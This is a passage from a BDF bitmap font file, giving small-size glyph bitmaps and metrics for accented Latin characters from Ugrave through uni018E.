STARTCHAR Ugrave
ENCODING 217
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
40
20
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR Uacute
ENCODING 218
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR Ucircumflex
ENCODING 219
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR Udieresis
ENCODING 220
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR Yacute
ENCODING 221
SWIDTH 667 0
DWIDTH 7 0
BBX 6 9 0 0
BITMAP
08
10
00
EC
68
68
78
30
30
ENDCHAR
STARTCHAR Thorn
ENCODING 222
SWIDTH 667 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
C0
F0
D8
F0
C0
C0
ENDCHAR
STARTCHAR germandbls
ENCODING 223
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
E0
D0
E0
D0
D0
A0
ENDCHAR
STARTCHAR agrave
ENCODING 224
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
40
20
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR aacute
ENCODING 225
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
10
20
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR acircumflex
ENCODING 226
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
40
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR atilde
ENCODING 227
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
50
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR adieresis
ENCODING 228
SWIDTH 556 0
DWIDTH 5 0
BBX 5 7 0 0
BITMAP
A0
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR aring
ENCODING 229
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
40
A0
40
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR ae
ENCODING 230
SWIDTH 889 0
DWIDTH 7 0
BBX 6 5 0 0
BITMAP
F8
34
7C
B0
7C
ENDCHAR
STARTCHAR ccedilla
ENCODING 231
SWIDTH 556 0
DWIDTH 4 0
BBX 3 7 0 -2
BITMAP
60
C0
C0
C0
60
40
C0
ENDCHAR
STARTCHAR egrave
ENCODING 232
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
40
20
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR eacute
ENCODING 233
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
10
20
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR ecircumflex
ENCODING 234
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
20
50
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR edieresis
ENCODING 235
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
50
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR igrave
ENCODING 236
SWIDTH 278 0
DWIDTH 2 0
BBX 2 8 -1 0
BITMAP
80
40
00
40
40
40
40
40
ENDCHAR
STARTCHAR iacute
ENCODING 237
SWIDTH 278 0
DWIDTH 2 0
BBX 2 8 0 0
BITMAP
40
80
00
80
80
80
80
80
ENDCHAR
STARTCHAR icircumflex
ENCODING 238
SWIDTH 278 0
DWIDTH 2 0
BBX 3 8 -1 0
BITMAP
40
A0
00
40
40
40
40
40
ENDCHAR
STARTCHAR idieresis
ENCODING 239
SWIDTH 278 0
DWIDTH 2 0
BBX 3 7 -1 0
BITMAP
A0
00
40
40
40
40
40
ENDCHAR
STARTCHAR eth
ENCODING 240
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
D0
60
A0
70
D0
D0
60
ENDCHAR
STARTCHAR ntilde
ENCODING 241
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
E0
F0
D0
D0
D0
ENDCHAR
STARTCHAR ograve
ENCODING 242
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
40
20
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR oacute
ENCODING 243
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
10
20
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR ocircumflex
ENCODING 244
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
20
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR otilde
ENCODING 245
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR odieresis
ENCODING 246
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR divide
ENCODING 247
SWIDTH 584 0
DWIDTH 5 0
BBX 5 5 0 0
BITMAP
20
00
F8
00
20
ENDCHAR
STARTCHAR oslash
ENCODING 248
SWIDTH 611 0
DWIDTH 5 0
BBX 6 7 -1 -1
BITMAP
04
38
68
68
68
70
80
ENDCHAR
STARTCHAR ugrave
ENCODING 249
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
40
20
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR uacute
ENCODING 250
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
10
20
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR ucircumflex
ENCODING 251
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
20
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR udieresis
ENCODING 252
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
50
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR yacute
ENCODING 253
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
10
20
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR thorn
ENCODING 254
SWIDTH 611 0
DWIDTH 5 0
BBX 5 8 -1 -2
BITMAP
C0
70
68
68
68
70
60
70
ENDCHAR
STARTCHAR ydieresis
ENCODING 255
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
50
00
D0
D0
D0
60
60
60
ENDCHAR
STARTCHAR Amacron
ENCODING 256
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
30
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR amacron
ENCODING 257
SWIDTH 556 0
DWIDTH 5 0
BBX 5 7 0 0
BITMAP
60
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR Abreve
ENCODING 258
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
48
30
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR abreve
ENCODING 259
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 0 0
BITMAP
90
60
00
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR Aogonek
ENCODING 260
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
70
D8
D8
F8
D8
D8
20
30
ENDCHAR
STARTCHAR aogonek
ENCODING 261
SWIDTH 556 0
DWIDTH 5 0
BBX 5 7 0 -2
BITMAP
E0
30
F0
B0
D8
20
30
ENDCHAR
STARTCHAR Cacute
ENCODING 262
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
78
C8
C0
C0
C8
78
ENDCHAR
STARTCHAR cacute
ENCODING 263
SWIDTH 556 0
DWIDTH 4 0
BBX 3 8 0 0
BITMAP
20
40
00
60
C0
C0
C0
60
ENDCHAR
STARTCHAR Ccircumflex
ENCODING 264
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
78
C8
C0
C0
C8
78
ENDCHAR
STARTCHAR ccircumflex
ENCODING 265
SWIDTH 556 0
DWIDTH 4 0
BBX 3 8 0 0
BITMAP
40
A0
00
60
C0
C0
C0
60
ENDCHAR
STARTCHAR Cdotaccent
ENCODING 266
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
78
C8
C0
C0
C8
78
ENDCHAR
STARTCHAR cdotaccent
ENCODING 267
SWIDTH 556 0
DWIDTH 4 0
BBX 3 7 0 0
BITMAP
40
00
60
C0
C0
C0
60
ENDCHAR
STARTCHAR Ccaron
ENCODING 268
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
78
C8
C0
C0
C8
78
ENDCHAR
STARTCHAR ccaron
ENCODING 269
SWIDTH 556 0
DWIDTH 4 0
BBX 3 8 0 0
BITMAP
A0
40
00
60
C0
C0
C0
60
ENDCHAR
STARTCHAR Dcaron
ENCODING 270
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
F0
D8
D8
D8
D8
F0
ENDCHAR
STARTCHAR dcaron
ENCODING 271
SWIDTH 858 0
DWIDTH 7 0
BBX 7 7 0 0
BITMAP
30
32
72
B4
B0
B0
70
ENDCHAR
STARTCHAR Dcroat
ENCODING 272
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
58
E8
58
58
70
ENDCHAR
STARTCHAR dcroat
ENCODING 273
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
30
F0
70
B0
B0
B0
70
ENDCHAR
STARTCHAR Emacron
ENCODING 274
SWIDTH 667 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
60
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR emacron
ENCODING 275
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
60
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR Ebreve
ENCODING 276
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
90
60
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR ebreve
ENCODING 277
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
90
60
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR Edotaccent
ENCODING 278
SWIDTH 667 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
40
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR edotaccent
ENCODING 279
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
40
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR Eogonek
ENCODING 280
SWIDTH 667 0
DWIDTH 5 0
BBX 4 8 0 -2
BITMAP
F0
C0
F0
C0
C0
F0
40
60
ENDCHAR
STARTCHAR eogonek
ENCODING 281
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
D0
F0
C0
60
40
60
ENDCHAR
STARTCHAR Ecaron
ENCODING 282
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
A0
40
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR ecaron
ENCODING 283
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
40
00
60
D0
F0
C0
60
ENDCHAR
STARTCHAR Gcircumflex
ENCODING 284
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR gcircumflex
ENCODING 285
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
20
50
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR Gbreve
ENCODING 286
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
48
30
00
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR gbreve
ENCODING 287
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
90
60
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR Gdotaccent
ENCODING 288
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
00
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR gdotaccent
ENCODING 289
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
20
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR Gcommaaccent
ENCODING 290
SWIDTH 778 0
DWIDTH 6 0
BBX 5 10 0 -4
BITMAP
78
C8
C0
D8
C8
78
00
20
20
40
ENDCHAR
STARTCHAR gcommaaccent
ENCODING 291
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 -1
BITMAP
20
40
40
00
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR Hcircumflex
ENCODING 292
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
D8
D8
F8
D8
D8
D8
ENDCHAR
STARTCHAR hcircumflex
ENCODING 293
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 0
BITMAP
40
A0
00
C0
C0
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR Hbar
ENCODING 294
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F8
D8
F8
D8
D8
D8
ENDCHAR
STARTCHAR hbar
ENCODING 295
SWIDTH 611 0
DWIDTH 5 0
BBX 5 7 -1 0
BITMAP
60
F0
70
68
68
68
68
ENDCHAR
STARTCHAR Itilde
ENCODING 296
SWIDTH 278 0
DWIDTH 2 0
BBX 4 9 -1 0
BITMAP
50
A0
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR itilde
ENCODING 297
SWIDTH 278 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
50
A0
00
60
60
60
60
60
60
ENDCHAR
STARTCHAR Imacron
ENCODING 298
SWIDTH 278 0
DWIDTH 2 0
BBX 2 8 0 0
BITMAP
C0
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR imacron
ENCODING 299
SWIDTH 278 0
DWIDTH 3 0
BBX 2 8 0 0
BITMAP
C0
00
C0
C0
C0
C0
C0
C0
ENDCHAR
STARTCHAR Ibreve
ENCODING 300
SWIDTH 278 0
DWIDTH 2 0
BBX 4 9 -1 0
BITMAP
90
60
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR ibreve
ENCODING 301
SWIDTH 278 0
DWIDTH 3 0
BBX 4 9 -1 0
BITMAP
90
60
00
60
60
60
60
60
60
ENDCHAR
STARTCHAR Iogonek
ENCODING 302
SWIDTH 278 0
DWIDTH 2 0
BBX 2 8 0 -2
BITMAP
80
80
80
80
80
80
80
C0
ENDCHAR
STARTCHAR iogonek
ENCODING 303
SWIDTH 278 0
DWIDTH 2 0
BBX 2 9 0 -2
BITMAP
80
00
80
80
80
80
80
80
C0
ENDCHAR
STARTCHAR Idotaccent
ENCODING 304
SWIDTH 278 0
DWIDTH 2 0
BBX 1 8 0 0
BITMAP
80
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR dotlessi
ENCODING 305
SWIDTH 278 0
DWIDTH 3 0
BBX 2 6 0 0
BITMAP
C0
C0
C0
C0
C0
C0
ENDCHAR
STARTCHAR IJ
ENCODING 306
SWIDTH 820 0
DWIDTH 7 0
BBX 6 6 0 0
BITMAP
8C
8C
8C
8C
AC
98
ENDCHAR
STARTCHAR ij
ENCODING 307
SWIDTH 542 0
DWIDTH 4 0
BBX 3 8 0 -1
BITMAP
A0
00
A0
A0
A0
A0
A0
40
ENDCHAR
STARTCHAR Jcircumflex
ENCODING 308
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
50
00
30
30
30
30
B0
60
ENDCHAR
STARTCHAR jcircumflex
ENCODING 309
SWIDTH 278 0
DWIDTH 2 0
BBX 3 9 -1 -1
BITMAP
40
A0
00
40
40
40
40
40
80
ENDCHAR
STARTCHAR Kcommaaccent
ENCODING 310
SWIDTH 722 0
DWIDTH 6 0
BBX 6 10 0 -4
BITMAP
D8
D0
E0
F0
D8
CC
00
10
10
20
ENDCHAR
STARTCHAR kcommaaccent
ENCODING 311
SWIDTH 556 0
DWIDTH 5 0
BBX 4 11 0 -4
BITMAP
C0
C0
D0
D0
E0
D0
D0
00
20
20
40
ENDCHAR
STARTCHAR kgreenlandic
ENCODING 312
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
D0
D0
E0
D0
D0
ENDCHAR
STARTCHAR Lacute
ENCODING 313
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
C0
C0
C0
C0
C0
F0
ENDCHAR
STARTCHAR lacute
ENCODING 314
SWIDTH 278 0
DWIDTH 2 0
BBX 2 10 0 0
BITMAP
40
80
00
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR Lcommaaccent
ENCODING 315
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 -4
BITMAP
C0
C0
C0
C0
C0
F0
00
40
40
80
ENDCHAR
STARTCHAR lcommaaccent
ENCODING 316
SWIDTH 278 0
DWIDTH 2 0
BBX 2 11 -1 -4
BITMAP
40
40
40
40
40
40
40
00
40
40
80
ENDCHAR
STARTCHAR Lcaron
ENCODING 317
SWIDTH 858 0
DWIDTH 7 0
BBX 7 6 0 0
BITMAP
C2
C2
C4
C0
C0
F0
ENDCHAR
STARTCHAR lcaron
ENCODING 318
SWIDTH 542 0
DWIDTH 4 0
BBX 4 7 0 0
BITMAP
80
90
90
A0
80
80
80
ENDCHAR
STARTCHAR Ldot
ENCODING 319
SWIDTH 858 0
DWIDTH 7 0
BBX 7 6 0 0
BITMAP
C0
C0
C6
C6
C0
F0
ENDCHAR
STARTCHAR ldot
ENCODING 320
SWIDTH 542 0
DWIDTH 4 0
BBX 4 7 0 0
BITMAP
80
80
80
B0
B0
80
80
ENDCHAR
STARTCHAR Lslash
ENCODING 321
SWIDTH 611 0
DWIDTH 6 0
BBX 6 8 -1 0
BITMAP
60
60
60
70
E0
60
60
7C
ENDCHAR
STARTCHAR lslash
ENCODING 322
SWIDTH 278 0
DWIDTH 3 0
BBX 4 8 -1 0
BITMAP
60
60
60
70
E0
60
60
60
ENDCHAR
STARTCHAR Nacute
ENCODING 323
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
C8
C8
E8
F8
D8
C8
ENDCHAR
STARTCHAR nacute
ENCODING 324
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
20
40
00
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR Ncommaaccent
ENCODING 325
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 -4
BITMAP
C8
C8
E8
F8
D8
C8
00
20
20
40
ENDCHAR
STARTCHAR ncommaaccent
ENCODING 326
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 -4
BITMAP
E0
D0
D0
D0
D0
00
20
20
40
ENDCHAR
STARTCHAR Ncaron
ENCODING 327
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
C8
C8
E8
F8
D8
C8
ENDCHAR
STARTCHAR ncaron
ENCODING 328
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
40
00
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR napostrophe
ENCODING 329
SWIDTH 875 0
DWIDTH 7 0
BBX 6 6 0 0
BITMAP
40
78
B4
34
34
34
ENDCHAR
STARTCHAR Eng
ENCODING 330
SWIDTH 722 0
DWIDTH 6 0
BBX 5 7 0 -1
BITMAP
C8
C8
E8
F8
D8
C8
10
ENDCHAR
STARTCHAR eng
ENCODING 331
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 -1
BITMAP
E0
D0
D0
D0
D0
20
ENDCHAR
STARTCHAR Omacron
ENCODING 332
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
30
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR omacron
ENCODING 333
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
60
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR Obreve
ENCODING 334
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
48
30
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR obreve
ENCODING 335
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
90
60
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR Ohungarumlaut
ENCODING 336
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR ohungarumlaut
ENCODING 337
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR OE
ENCODING 338
SWIDTH 1000 0
DWIDTH 10 0
BBX 9 8 0 0
BITMAP
3F80
6C00
CC00
CF80
CC00
CC00
6C00
3F80
ENDCHAR
STARTCHAR oe
ENCODING 339
SWIDTH 944 0
DWIDTH 10 0
BBX 9 6 0 0
BITMAP
7700
CD80
CF80
CC00
CD80
7700
ENDCHAR
STARTCHAR Racute
ENCODING 340
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
F0
D8
D8
F0
D8
D8
ENDCHAR
STARTCHAR racute
ENCODING 341
SWIDTH 389 0
DWIDTH 3 0
BBX 3 8 0 0
BITMAP
20
40
00
A0
E0
C0
C0
C0
ENDCHAR
STARTCHAR Rcommaaccent
ENCODING 342
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 -4
BITMAP
F0
D8
D8
F0
D8
D8
00
20
20
40
ENDCHAR
STARTCHAR rcommaaccent
ENCODING 343
SWIDTH 389 0
DWIDTH 3 0
BBX 3 9 0 -4
BITMAP
A0
E0
C0
C0
C0
00
40
40
80
ENDCHAR
STARTCHAR Rcaron
ENCODING 344
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
F0
D8
D8
F0
D8
D8
ENDCHAR
STARTCHAR rcaron
ENCODING 345
SWIDTH 389 0
DWIDTH 3 0
BBX 3 8 0 0
BITMAP
A0
40
00
A0
E0
C0
C0
C0
ENDCHAR
STARTCHAR Sacute
ENCODING 346
SWIDTH 667 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
78
C0
F0
38
D8
70
ENDCHAR
STARTCHAR sacute
ENCODING 347
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
20
40
00
70
C0
F0
30
E0
ENDCHAR
STARTCHAR Scircumflex
ENCODING 348
SWIDTH 667 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
78
C0
F0
38
D8
70
ENDCHAR
STARTCHAR scircumflex
ENCODING 349
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
40
A0
00
70
C0
F0
30
E0
ENDCHAR
STARTCHAR Scedilla
ENCODING 350
SWIDTH 667 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
78
C0
F0
38
D8
70
20
60
ENDCHAR
STARTCHAR scedilla
ENCODING 351
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
70
C0
F0
30
E0
20
60
ENDCHAR
STARTCHAR Scaron
ENCODING 352
SWIDTH 667 0
DWIDTH 7 0
BBX 6 9 0 0
BITMAP
28
10
00
78
CC
70
3C
CC
78
ENDCHAR
STARTCHAR scaron
ENCODING 353
SWIDTH 556 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
70
D8
70
18
D8
70
ENDCHAR
STARTCHAR Tcommaaccent
ENCODING 354
SWIDTH 611 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
F8
60
60
60
60
60
20
60
ENDCHAR
STARTCHAR tcommaaccent
ENCODING 355
SWIDTH 333 0
DWIDTH 3 0
BBX 4 9 -1 -2
BITMAP
20
60
F0
60
60
60
30
20
60
ENDCHAR
STARTCHAR Tcaron
ENCODING 356
SWIDTH 611 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
20
00
F8
60
60
60
60
60
ENDCHAR
STARTCHAR tcaron
ENCODING 357
SWIDTH 594 0
DWIDTH 5 0
BBX 6 7 -1 0
BITMAP
20
64
F4
68
60
60
30
ENDCHAR
STARTCHAR Tbar
ENCODING 358
SWIDTH 611 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F8
60
78
60
60
60
ENDCHAR
STARTCHAR tbar
ENCODING 359
SWIDTH 333 0
DWIDTH 3 0
BBX 4 7 -1 0
BITMAP
20
60
F0
60
F0
60
30
ENDCHAR
STARTCHAR Utilde
ENCODING 360
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR utilde
ENCODING 361
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR Umacron
ENCODING 362
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
30
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR umacron
ENCODING 363
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
60
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR Ubreve
ENCODING 364
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
48
30
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR ubreve
ENCODING 365
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
90
60
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR Uring
ENCODING 366
SWIDTH 722 0
DWIDTH 6 0
BBX 5 10 0 0
BITMAP
20
50
20
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uring
ENCODING 367
SWIDTH 611 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
A0
40
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR Uhungarumlaut
ENCODING 368
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR uhungarumlaut
ENCODING 369
SWIDTH 611 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
50
A0
00
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR Uogonek
ENCODING 370
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
D8
D8
D8
D8
D8
70
20
30
ENDCHAR
STARTCHAR uogonek
ENCODING 371
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
D0
D0
D0
F0
50
40
60
ENDCHAR
STARTCHAR Wcircumflex
ENCODING 372
SWIDTH 944 0
DWIDTH 9 0
BBX 8 9 0 0
BITMAP
08
14
00
DB
DB
DA
DA
6C
6C
ENDCHAR
STARTCHAR wcircumflex
ENCODING 373
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
20
50
00
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR Ycircumflex
ENCODING 374
SWIDTH 667 0
DWIDTH 7 0
BBX 6 9 0 0
BITMAP
20
50
00
EC
68
68
78
30
30
ENDCHAR
STARTCHAR ycircumflex
ENCODING 375
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
40
A0
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR Ydieresis
ENCODING 376
SWIDTH 667 0
DWIDTH 8 0
BBX 8 8 0 0
BITMAP
14
00
C3
66
3C
18
18
18
ENDCHAR
STARTCHAR Zacute
ENCODING 377
SWIDTH 611 0
DWIDTH 6 0
BBX 6 9 0 0
BITMAP
10
20
00
FC
38
30
60
E0
F8
ENDCHAR
STARTCHAR zacute
ENCODING 378
SWIDTH 500 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
10
20
00
F0
30
60
C0
F0
ENDCHAR
STARTCHAR Zdotaccent
ENCODING 379
SWIDTH 611 0
DWIDTH 6 0
BBX 6 8 0 0
BITMAP
10
00
FC
38
30
60
E0
F8
ENDCHAR
STARTCHAR zdotaccent
ENCODING 380
SWIDTH 500 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
20
00
F0
30
60
C0
F0
ENDCHAR
STARTCHAR Zcaron
ENCODING 381
SWIDTH 611 0
DWIDTH 7 0
BBX 6 9 0 0
BITMAP
28
10
00
FC
18
30
60
C0
FC
ENDCHAR
STARTCHAR zcaron
ENCODING 382
SWIDTH 500 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
50
20
00
F8
18
30
60
C0
F8
ENDCHAR
STARTCHAR uni0186
ENCODING 390
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F0
98
18
18
98
F0
ENDCHAR
STARTCHAR uni0189
ENCODING 393
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
58
E8
58
58
70
ENDCHAR
STARTCHAR uni018E
ENCODING 398
SWIDTH 667 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
F0
30
30
F0
30
F0
